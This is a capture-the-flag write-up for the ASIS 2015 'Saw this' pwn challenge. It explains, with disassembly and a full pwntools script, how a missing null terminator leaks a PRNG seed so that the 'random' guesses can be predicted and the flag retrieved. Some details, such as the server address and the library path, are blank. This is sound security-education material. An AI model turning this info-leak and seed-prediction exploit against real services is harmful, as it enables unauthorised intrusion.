ASIS CTF Quals 2015 - Saw this (1)

Our problem

- A pwn task -

Survive and get the flag! Note: This challenge contains two flags, one of them is easier to
fetch, the other is harder. The easier flag will be clearly indicated
as "Flag 1", the harder flag as "Flag 2". Submit the easier (Flag 1)

Server running here: nc 31337


To get a feel for how the program runs I first start by connecting to the server and upon doing this it asks for a name (which is echoed back), a lucky number (which says it should be between 1 and 100) and then asks for you to guess x amount of random numbers (where x is randomly generated). Based upon this knowledge we can start to disassemble the program and find out how it is handling all of this user inputted data.

Following the first function called by the program, main, we see a flow where a function (which I have called GenerateGlobalRandomNum is called that generates a random number and this is then stored in a globally accessible variable in the .bss section of the program. Along with this when, next, it asks for the name this is also stored in the .bss section.

- 0x00400DBA                call    GenerateGlobalRandomNum   ; Generate our random number and store it in a global
- 0x00400DBF                mov     rax, cs:global_szAsciiWelcome  ; Load the ascii-art welcome message
- 0x00400DC6                mov     rdi, rax
- 0x00400DC9                mov     eax, 0
- 0x00400DCE                call    _printf ; Print the welcome message

- 0x00400DD3                mov     edi, offset aHowCanICallYou  ; "How can I call you? "
- 0x00400DD8                mov     eax, 0
- 0x00400DDD                call    _printf

- 0x00400DE2                mov     esi, 40h
- 0x00400DE7                mov     edi, offset global_szNameBuffer
- 0x00400DEC                call    GetNUserInput  ; Function which gets n number of chars based on esi

- 0x00400DF1                mov     esi, offset global_szNameBuffer
- 0x00400DF6                mov     edi, offset aWelcomeS  ; "Welcome, %s!\n"
- 0x00400DFB                mov     eax, 0
- 0x00400E00                call    _printf
- 0x00400C09            GenerateGlobalRandomNum
- 0x00400C09                push    rbp
- 0x00400C0A                mov     rbp, rsp
- 0x00400C0D                call    rand ; C rand func from stdlib.h
- 0x00400C12                mov     cs:global_iRandNum, eax
- 0x00400C18                pop     rbp
- 0x00400C19            retn

Upon further disassembling the program we find that after the user is asked for their lucky number it is stored and then a check is does to make sure it is less than 100, eventhough we were told by the program that it had to be between 1 and 100.

- 0x00400E1E                 mov     [rbp+iUserLuckyNumber], eax   ; EAX will be the user's inputted lucky number
- 0x00400E21                 mov     eax, [rbp+iUserLuckyNumber]   ; Optimisation must have failed here : (
- 0x00400E24                 cmp     eax, 64h
- 0x00400E27                 jle     short loc_400E3D  ; Skip the exit section if the number is less than 0x64 (100)
- 0x00400E29                 mov     edi, offset aYouWantTooMuch   ; "You want too much! GAME OVER!"
- 0x00400E2E                 call    _puts
- 0x00400E33                 mov     edi, 0 
- 0x00400E38                 call    _exit

Continuing, a very simple algorithm is followed to generate the x amount of random numbers based on the first random number that was generated and stored in the global which I have called global_iRandNum. It creates these numbers by first seeding the PRNG using the function 'srand' with the value of global_iRandNum + the lucky number, which in my case I will use 0 for the lucky number as it is allowed by the program and makes things simpler.

At this point a function which I have named GetRandomNumberSpecial is called and the return value, after being multiplied by 13 and passed to floor(), is stored into a local variable on the stack which I have named iRandomNumberCount. This is used to determine the x amount of numbers to generate. Note: GetRandomNumberSpecial works by calling rand() then dividing it by 2147483647.0 before returning this number.

- 0x00400E69                 call    GetRandomNumberSpecial         ; Return value in xmm0
- 0x00400E6E                 movsd   xmm1, cs:qword_402380          
- 0x00400E76                 mulsd   xmm0, xmm1                     ; Multiply by 13
- 0x00400E7A                 movsd   xmm1, cs:qword_402388          
- 0x00400E82                 addsd   xmm0, xmm1                        ; Add 4
- 0x00400E86                 cvttsd2si rax, xmm0                    ; Inlined math floor() function
- 0x00400E8B                 mov     [rbp+iRandomNumberCount], eax  ; Store the nums to generate in this local var

- 0x00400E8E                 mov     eax, [rbp+iRandomNumberCount]
- 0x00400E91                 mov     esi, eax
- 0x00400E93                 mov     edi, offset aIVeThoughtOfDN    ; "I've thought of %d numbers. If you gues"...
- 0x00400E98                 mov     eax, 0
- 0x00400E9D                 call    _printf
- 0x00400EA2                 mov     [rbp+var_34], 0
- 0x00400EA9                 jmp     short sect_LoopCheckGuessNumbersGenerated

At the end of the above section an unconditional jump is made the below section which will loop until the x amount of numbers are generated.

- 0x00400EAB sect_GenGuessNumber:                             
- 0x00400EAB                 mov     ebx, [rbp+var_34]
- 0x00400EAE                 mov     eax, 0
- 0x00400EB3                 call    GetRandomNumberSpecial    ; Generate a random number
- 0x00400EB8                 movsd   xmm1, cs:qword_402390     
- 0x00400EC0                 mulsd   xmm0, xmm1                ; Multiply by 256
- 0x00400EC4                 cvttsd2si eax, xmm0               ; Another inlined math floor function
- 0x00400EC8                 mov     edx, eax
- 0x00400ECA                 movsxd  rax, ebx
- 0x00400ECD                 mov     [rbp+rax+arrRandomNumbers], dl ; Add the altered generated number to the array 
- 0x00400ED1                 mov     eax, [rbp+var_34]
- 0x00400ED4                 add     eax, 1                    ; Increment the amount of numbers generated by 1
- 0x00400ED7                 mov     [rbp+var_34], eax
- 0x00400EDA
- 0x00400EDA sect_LoopCheckGuessNumbersGenerated:                             
- 0x00400EDA                 mov     eax, [rbp+var_34]
- 0x00400EDD                 mov     edx, eax
- 0x00400EDF                 mov     eax, [rbp+iRandomNumberCount]
- 0x00400EE2                 cmp     edx, eax
- 0x00400EE4                 jb      short sect_GenGuessNumber  ; Have we got more numbers to generate, if so loop.
- 0x00400EE6                 mov     [rbp+iAskedNumbers], 0
- 0x00400EED                 jmp     short sect_LoopCheckGuessNumbersAsked

When all of these numbers have been generated, another unconditional jump into another loop is made where it calls a memcmp on every loop to check if the array of generated numbers is the same as the array of user inputted guesses. If these all match then it should call another function to print our flag. So this all seems simple to guess all of the numbers as we can't see that rand is seeded anywhere for the first number and we know that if rand is not seeded a default value of 1 is used. Yet, when we run the program over again, different amounts of numbers are generated, yet how could this be if the same seed (1) was used to generate the real seed?

To find out we must investigate further and to do this quickly, I ran a program called ltrace on the binary only to find out that I had missed where some instructions are performed before our 'main' function is called.

> ltrace ./sawthis 

__libc_start_main(0x400d73, 1, 0x7fff9a576e98, 0x401010, 0x401080 
fopen("/dev/urandom", "r")                                    = 0x1c12010
fread(0x7fff9a576d64, 1, 4, 0x1c12010)                        = 4
fclose(0x1c12010)                                             = 0
initstate(0, 0x603100, 8, 134592, 0x7ffc16404700)             = 0x7ffc161fe060
srand(0x3b78a61a, 0x7ffc161fe4e0, 0, 1, 0x603104)             = 0

After all of that, it is seeding rand properly meaning that there is no way to guess what the value of the global random number is. Also I should note that the function initstate is also called which alters the state of the PRNG meaning later I may have to remember to account for this.

So, now that I have eliminated that possibility, I remember that the globals are set out like the following:

.BSS layout:
    0x603108: global_szNameBuffer
    0x603148: global_iRandNum ( need to add your entered lucky number to this )

If there was some way that the \0 null-terminator byte was not put on to the end of the global_szNameBuffer, in some sort of off by one error, when it echos the name back we could leak out the value of global_iRandNum. To check this I need to have a look where this input of the name is taken in and we can see this happens in the function I labeled 'GetNUserInput'.

After studying the disassembly of this function we can see that the only time a \0 byte is put at the end of the buffer is when a \n newline character is encountered so if we reach the buffer size without encountering a \n character it is possible for the mentioned leak of the global_iRandNum var to happen. Therefore if we look at the previous assembly we can find out that buffer size.

- 0x00400DD3                mov     edi, offset aHowCanICallYou  ; "How can I call you? "
- 0x00400DD8                mov     eax, 0
- 0x00400DDD                call    _printf

- 0x00400DE2                mov     esi, 40h       ; Buffer size of 0x40 OR 64 characters
- 0x00400DE7                mov     edi, offset global_szNameBuffer
- 0x00400DEC                call    GetNUserInput  ; Function which gets n number of chars based on esi

Based upon knowing that esi controls the max amount of characters to read, in theory this tells us if we send 64 characters we should get a leak of global_iRandNum to happen.

Choose your lucky number (1-100)! But choose wisely, your life depends on it: 

As we expected, this worked and we can see this in the echoing back of strange looking characters. Thus, using all of the knowledge that we aquired from reversing the other parts of the program we should now be able to work out the rest of the information it asks us to provide to get the first flag as random number was based on this number as it would then seed the PRNG.

Final solution

Finalising our thoughts, we can now set out a strategy on how we are going to solve the problem.

  • Send 64 characters (A's) to the server when it asks for our name
  • Read the four ending bytes when it replies with our name as this will be our little endian integer used in the srand function to seed the PRNG (as long as we enter the lucky number it asks for as 0)
  • Enter the lucky number it asks for as 0 to make things simpler (see above reason)
  • Implement the same algorithm it uses in the hidden init function and in and where the 'GenerateGlobalRandomNum' function is used.
  • Use the above implementation to generate the numbers it wants as we have the seed, thus the 'random' numbers will be the same as this is only a PRNG.
  • Reply with the number 'guesses'
  • Grab the flag of victory

Now that we have our strategy, we can combine all of these pieces into a Python script:

from pwn import *  # Make things quicker to do by using pwntools
import ctypes
import math

strProvidedLIBC = "./"
LIBC = ctypes.cdll.LoadLibrary(strProvidedLIBC)  # Allows us to call functions from their lib so we know they have the same functionality/implementation of functions

# Copy of the Saw This function
def GetRandomNumberSpecial():
    global LIBC
    return float(LIBC.rand()) / float(2147483647.0);

# Will send the numbers requested by the program from the iSendNums array/list
def SendXNumbers(iSendNums, iNums): 
    x = 0
    while x < iNums:
        strNumberString = "Number #%d: " % (x+1)
        print r.recvuntil(strNumberString)  # Wait until it asks for that number

        strNum = str(int(iSendNums[x]))
        r.send(strNum + "\n")  # Send the number 
        print strNum

        x += 1

r = remote("", 31337)  # Connect to the server
r.recvuntil("How can I call you? ")  # Wait until it asks for the name

r.send(("A" * 64))  # Send 64 A's so that no \0 byte is written to the end, meaning we should be able to leak out the random seed
data = r.recvuntil("Choose")  # Get the returned data which has the seed in it 

strNameAndRandomNumber = data.rstrip("!\nChoose").lstrip("Welcome, ")  # Get the part of the returned data which contains the reply
strRandomNumber = strNameAndRandomNumber[64: ]  # Get the part of the reply that contains the seed number

iRandomNumber = u32(strRandomNumber)  # Convert this sequence of little endian bytes to a integer
print iRandomNumber

r.recvuntil(": ")  # Wait until it asks for the 'lucky number'
r.send("0\n")  # Send 0 so we don't have to add this number to our seed, to make the final seed, which makes things simpler

state = ctypes.create_string_buffer(8)  # Create a empty buffer of 8 length
LIBC.initstate(0, state, 8)  # Set the state of the PRNG (like they do in their hidden function called at the start)
LIBC.srand(iRandomNumber)  # Seed the PRNG with the value that we leaked out

iNums = int(math.floor((GetRandomNumberSpecial()* 13.0) + 4.0))  # Use their formula, previously explained, to work out how many numbers we need to send

print "Amount of numbers: " + str(iNums)

iSendNums = [math.floor(GetRandomNumberSpecial() * 256.0) for x in range(iNums)]  # Use their formula to generate the random numbers

SendXNumbers(iSendNums, iNums)  # Call our function to send the numbers

print r.recvuntil("}")  # Read up until the end, where the flag will be (should end with '}') and print it out, completing part one.

And there we have it, lots of ASCII art followed by the flag: